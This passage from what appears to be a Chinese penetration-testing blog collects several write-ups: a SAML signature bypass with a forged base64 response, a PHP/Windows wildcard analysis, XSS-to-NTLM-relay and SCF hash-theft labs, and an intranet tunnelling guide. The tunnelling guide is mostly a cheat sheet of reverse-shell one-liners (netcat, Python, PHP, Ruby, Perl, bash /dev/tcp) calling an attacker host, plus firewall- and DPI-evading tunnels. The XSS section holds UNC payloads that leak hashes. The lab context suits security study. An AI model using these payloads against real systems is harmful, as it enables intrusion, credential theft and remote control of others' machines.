hbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK

第三步,重新发送修改后的SAML Response至我们的SP(demo-flask)

可见签名校验成功,并返回了相应的session id。

第四步,利用上一步获取到的session id访问SP,我们发现User.email的值被成功地由test1@cnnt.com.cnnt.com修改成了test1@cnnt.com,如下:

至此,我们成功地复现了漏洞。

0x03 总结

总结一下该漏洞的成因其实很简单,就是由于用于生成SAML Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过,最终出现了越权访问其他用户的数据资源的漏洞。

这个漏洞的利用思路还是比较有意思的,但是也有一定的局限性,要想越权访问其他用户的话,首先需要一个认证成功的用户A,且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得,如用户A的NameID是123456,用户B的NameID是1234。

0x04 参考

PHP源码调试之Windows文件通配符分析

0x00 前言

很早之前就有国外的安全研究人员发现PHP语言在Windows上的一些奇妙特性:

  • 大于号(>)相等于通配符问号(?)
  • 小于号(<)相当于通配符星号(*)
  • 双引号(“)相当于点字符(.)

具体文章参见:https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/

那么问题来了,根本原因是什么呢?是PHP语言本身的问题还是Windows的锅呢?

0x01 分析

出于对这个问题的好奇,笔者进行了一下的挖掘和分析。
在分析之前为了避免自己做了无用功,先Google了一番,找到了以下这些文章且都是通过Fuzz的方法发现的,并没有太多资料解释更深层次的原因。

静态分析

既然没有现成的解释,那么我们便可以自己动手分析以下。
首先,下载PHP的源代码尝试进行静态分析。

git clone https://github.com/php/php-src
git checkout PHP-7.2.1 

随便选取一个可以操作文件的PHP方法, 如getimagesize.
尝试进行全局搜索,我们在\php-src\ext\standard\image.c的第1501-1506行发现了该方法的具体定义:

/* }}} */

/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

可见,getimagesize方法调用了php_getimagesize_from_any方法,那么接下来又是如何调用的呢?当然,你可以继续逐层追踪下去,但是这将会比较费时费力同时也需要更过的精力去理解大量的代码逻辑。笔者在这里将尝试从动态调试的角度来简化这个分析过程。

动态调试

在动态调试之前,我们需要做一些提前的准备如下:

  • PHP的源码(本文调试的版本是7.2.1)
  • Visual Studio 2017

参考PHP官方文档在Windows上编译PHP-7.2.1:
https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2
具体步骤这里不在赘述,唯一需要注意的点在于在编译之前用以下的命令来建立自己的configure文件:

configure --enable-debug --enable-phpdbg
编译完成之后,你会看到类似于下图的编译之后的PHP可执行文件:

接下来,我们需要准备一个测试目录,具体结构如下:

C:\
- Research\
  -- admin\
      --- test.png
  -- poc.php 

准备一个poc.php文件,具体内容如下:

<?php
$a = "c:\\research\\phptest\\ad<\\test.png";
exec('pause');
if(@getimagesize($a)){
    echo "Success";
}else{
    echo "Failed";
}
?>

使用我们编译后的PHP来执行的话,正常情况下应该会返回Success:

一切准备就绪,便可以进行动态调试了。
先启动Visual Studio打开我们在静态分析时找到的\php-src\ext\standard\image.c文件在第1505行下一个断点。

进入C:\Research\目录,使用编译后的PHP(例如:C:\Research\php-sdk\phpdev\vc15\x64\php-7.2.1-src\x64\Debug_TS\php.exe)来执行我们的poc.php文件,并在Visual Studio里打开“调试-附加进程”来附加此处的PHP进程。

返回到执行poc文件的命令行下,敲击回车,我们发现前面设置的断点被成功hit了。

接下来的操作就需要特别的仔细和耐心了,使用VS提供的调试命令:

  • F10: 单步调试
  • F11: 逐语句调试
  • Shift + F11: 跳出

最终我们通过动态调试在\php-src\Zend\zend_virtual_cwd.c的第841行找到了Window API里的FindFirstFileExW()方法:

#ifdef ZEND_WIN32
        if (save) {
            pathw = php_win32_ioutil_any_to_w(path);
            if (!pathw) {
                return -1;
            }
            hFind = FindFirstFileExW(pathw, FindExInfoBasic, &dataw, FindExSearchNameMatch, NULL, 0);
            if (INVALID_HANDLE_VALUE == hFind) {
                if (use_realpath == CWD_REALPATH) {
                    /* file not found */
                    FREE_PATHW()
                    return -1;
                }
                /* continue resolution anyway but don't save result in the cache */
                save = 0;
            } else {
                FindClose(hFind);
            }
        }

也就是说PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW(),调用顺序如下:
  • PHP_FUNCTION(getimagesize)
  • php_getimagesize_from_any
  • _php_stream_open_wrapper_ex
  • php_stream_locate_url_wrapper
  • wrapper->wops->stream_opener
  • php_plain_files_stream_opener
  • php_stream_fopen_rel
  • _php_stream_fopen
  • expand_filepath
  • expand_filepath_ex
  • expand_filepath_with_mode
  • virtual_file_ex
  • tsrm_realpath_r
  • FindFirstFileExW

而根据StackOverflow上面的一个相关问题和MSDN的解释,这是NtQueryDirectoryFile / ZwQueryDirectoryFile通过FsRtlIsNameInExpression的一个功能特性,对于FsRtlIsNameInExpression有如下描述:

The following wildcard characters can be used in the pattern string.

Wildcard character  Meaning

* (asterisk)        Matches zero or more characters.

? (question mark)   Matches a single character.

DOS_DOT             Matches either a period or zero characters beyond the name
                    string.

DOS_QM              Matches any single character or, upon encountering a period
                    or end of name string, advances the expression to the end of
                    the set of contiguous DOS_QMs.

DOS_STAR            Matches zero or more characters until encountering and
                    matching the final . in the name.

另外,MSDN的解释并没有提到DOC-*具体指哪些字符,但根据ntfs.h,我们发现了如下的定义:

//  The following constants provide addition meta characters to fully
//  support the more obscure aspects of DOS wild card processing.

#define DOS_STAR        (L'<')
#define DOS_QM          (L'>')
#define DOS_DOT         (L'"')

因此,我们终于搞明白了为什么前言中说的这三个字符在Windows上被赋予了不同的含义了。

0x02 总结

通过以上分析,我们可以做以下的简短总结:

  • 问题产生的根本原因是PHP调用了Windows API里的FindFirstFileExW()或FindFirstFile()方法
  • 该Windows API方法对于这三个字符做了特别的对待和处理
  • 任何调用该Windows API方法的语言都有可能存在以上这个问题,比如:Python

0x03 参考

渗透测试技巧之一个XSS引发的漏洞利用与思考

0x00 前言

某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。

0x01 分析

首先分析一下问题的题干:

  • 存储型XSS
  • 后渗透利用

首先整理一下可能的思路:

  • 思路一:利用浏览器的漏洞来达到代码执行的效果
  • 思路二:利用浏览器的内置功能直接执行系统命令,如:IE的ActiveX
  • 思路三:利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网

思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!

思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!

那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。

众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。

那么如何通过XSS来获得NTLMhash呢?

其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:

因此我们可以使用下面例子来通过XSS获取NTLMhash:

<img src="\\\\<attacker ip>\\smbrelay"> 
Or
<script src="\\\\<attacker ip>\\smbrelay"/>

然后,我们可以设置好SMB Relay的监听工具并插入上述的XSS payload进入目标服务里,一旦管理员或者任何内网中的用户访问目标服务,XSS payload就会被执行并将该用户的Windows系统的NTLMhash发送至我们的监听服务器。

最后,通过SMB Relay工具利用获取到的NTLMhash对内网的其他主机发起攻击并可能远程执行任意命令从而最终获得系统控制权。

0x02 实验

有了上面的理论分析,接下来就是实验论证可行性了。

准备如下实验机器:

  • 目标内网主机A:Windows 7 64位 (10.0.0.5)
  • 目标内网主机B:Windows 7 32位 (10.0.0.6)
  • 受害者主机C: Windows XP (10.0.0.8)
  • 攻击机D:Kali Linux (10.0.0.7)

实验前提:

  • 主机C可以远程访问主机A和B的administrative share(即admin$和C$)
    • 对于WORKGROUP中的机器,主机A, B和C的本地管理员组必须同时存在一个相同用户名和密码的账号,且主机C以该账号登陆,另外对于主机A和B需要通过以下方式关闭UAC(适用于Win7及以上操作系统)
      • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
    • 对于域中的机器,主机A, B和C的本地管理员组必须同时存在一个相同的域账号(一般都是域管理员账号),且主机C以该账号登陆即可
  • 主机A和B组策略中的Network security: LAN Manager authentication level不能是Send NTLMv2 response only. Refuse LM & NTLM(别担心,默认就不是)

实验步骤:

一 在攻击机D上下载并安装Impacket中的ntlmrelayx脚本,并开启监听如下:

python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt

targets.txt:

10.0.0.5
10.0.0.6
10.0.0.8

二 插入如下XSS payload并在受害者主机C上打开存在XSS漏洞的页面,实验中以DVWA为例

<script src="\\\\10.0.0.7\\smbrelay">

三 此时,攻击机D上便可以看到我们已经成功地在主机A和B上执行了系统命令并返回了各自的主机名,如下:

0x03 总结

总结一下这里的利用思路

  • 利用XSS获取内网主机的NTLMhash(此处应该是Net-NTLMhash)
  • 利用ntlmrelayx脚本配合获取到的NTLMhash执行SMB Relay攻击从而在目标主机上执行任意系统命令

实战中的意义

其实对于工作组中的主机利用的条件相对比较苛刻,首先你得需要受害者可以访问内网中目标主机的administrative share,且目标主机关闭了UAC并保持了默认的组策略配置;对于域中的主机,需要受害者正在以域管理员账户登陆主机,如果这种情况下的话利用成本将会大大降低且危害很大。

减轻方法

  • 开启主机的UAC功能
  • 配置主机的组策略中的Network security: LAN Manager authentication level为Send NTLMv2 response only. Refuse LM & NTLM
  • 不要以域管理员账户登陆主机并点击任意不明文件和链接

0x04 参考

注:尊重知识产权,从你我做起,转载请注明出处,否则谢绝转载,谢谢!

渗透测试技巧之内网穿透方式与思路总结

本文首发于先知论坛:https://xianzhi.aliyun.com/forum/topic/1623/

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建:

这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:

  • 内网地址(NAT网络):10.0.2.0/24
    • 内网主机A(Windows):10.0.2.15
    • 内网主机B(Linux):10.0.2.5
  • 内网出口地址(NAT出口地址):192.168.7.225
  • 外网主机:192.168.0.230

网络拓扑如下:

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。

场景与思路分析:

场景一:内网防火墙对出口流量没有任何端口限制

思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell

方法:

1. Windows:

nc.exe -nv 192.168.0.230 8080 -e cmd.exe

2. Linux: 

1)Netcat

nc -nv 192.168.0.230 8080 -e /bin/bash

mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p

2)Ncat

ncat -nv 192.168.0.230 8080 -e /bin/bash

3)Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4)PHP

php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

5)Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

6)Perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7)Bash

bash -i >& /dev/tcp/192.168.0.230/8080 0>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
 
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1

场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)

思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务

方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可

方法二:端口转发

1. Windows

2. Linux (SSH远程端口转发,以允许的特定端口为80为例)

1)在外网主机上将ssh的22端口映射到80端口

$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress    bindport    connectaddress    connectport
  192.168.0.230 80          192.168.0.230     22

2)内网主机上SSH远程端口转发如下

ssh root@192.168.0.230 -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)

3)在外网主机上直接ssh内网主机如下

ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)

方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2)在外网主机上执行

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)

3)在外网主机上配置proxychains设置socks4代理

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4) 使用proxychains代理所有流量进入内网

proxychains nc -nv 10.0.2.5 3306

场景三:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术

方法:将payload的协议封装在HTTP协议中

1)在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080

2)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash

一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。

场景四:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量

思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。

方法:利用SSL或者SSH加密流量在结合HTTP隧道技术

1)与场景三中的方法类似,先在外网主机上安装brigde

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge

2)在外网主机上开启使用了ssl加密的ncat监听进程,如下

ncat -lvvp 8080 --ssl

3)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080

4)同样地,在内网主机上使用ssl与监听主机通信

ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl

SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五:内网主机完全与外网不通

思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。

方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…

0x02 小结

本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。

注:尊重知识产权从你我做起,本文谢绝转载,如需转载请与博主联系后授权转载。

渗透测试技巧之利用SCF文件偷取Window NTLM Auth Hash

0x00 前言

今天国外安全研究人员公布了一个通过SCF文件来偷取远程服务器的Window NTLM Auth Hash的技巧,笔者仔细看了一下他的文章觉得很不错,故做了简单研究遂作此文。

0x01 分析与实践

漏洞原理分析

该漏洞通过向网络中的共享目录中上传特殊构造的SCF文件(即在SCF文件中将图标文件指定到我们攻击机伪造的共享目录里),故当任何用户访问该共享目录时便可获取它的Windows NTLM Hash,从而可以进一步破解Hash获得明文密码或者利用NTLM Relay攻击目标服务器,这是一个非常简单且实用的内网渗透技巧。

SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The "Show Desktop" shortcut we all use on a daily basis is an SCF file.

实验与实践

实验环境:

  • 攻击机:192.168.1.105 (Kali)
  • 目标机/局域网主机B (文件共享主机):192.168.1.107 (Windows 7 64 bits)
  • 局域网主机A:192.168.1.104 (Windows 7 32 bits)
  • 局域网主机C:192.168.1.106 (Windows XP)

具体步骤:

首先在目标机上创建一个共享文件夹并共享给everyone可读写权限(例如:scftest)

然后关闭共享的密码保护如下:

接下来,在我们的攻击机上创建一个SCF文件,如下:

注意:其中的192.168.1.105是指向我们的攻击机。

上传上面构造的SCF文件至目标服务器的共享目录里:


在攻击机上开启MSF的auxiliary/server/capture/smb模块来伪造共享目录并抓取用户的Windows密码Hash:


此时任何访问下面目标机上的共享目录的Windows用户的密码Hash都将可能被我们的攻击机获取到。

\\192.168.1.107\Users\win7_64\Desktop\scftest\

局域网主机A:(192.168.1.104/win7_32)


局域网主机B:(192.168.1.107/win7_64)


局域网主机C:(192.168.1.106/win_xp)


在攻击机上我们也“如愿地”偷取到了这三个来自不同windows主机的用户的Windows密码Hash:


所有获取到的NTLM Hash保存在/tmp/smbhashes.txt_netntlmv2,如下:


最后,我们可以通过John the Ripper或者其他在线Windows Hash破解网站,来破解明文密码或者利用Net-NTLM Hash来NTLM Relay攻击。

0x02 参考

注:转载请注明出处,尊重知识产权,从你我做起!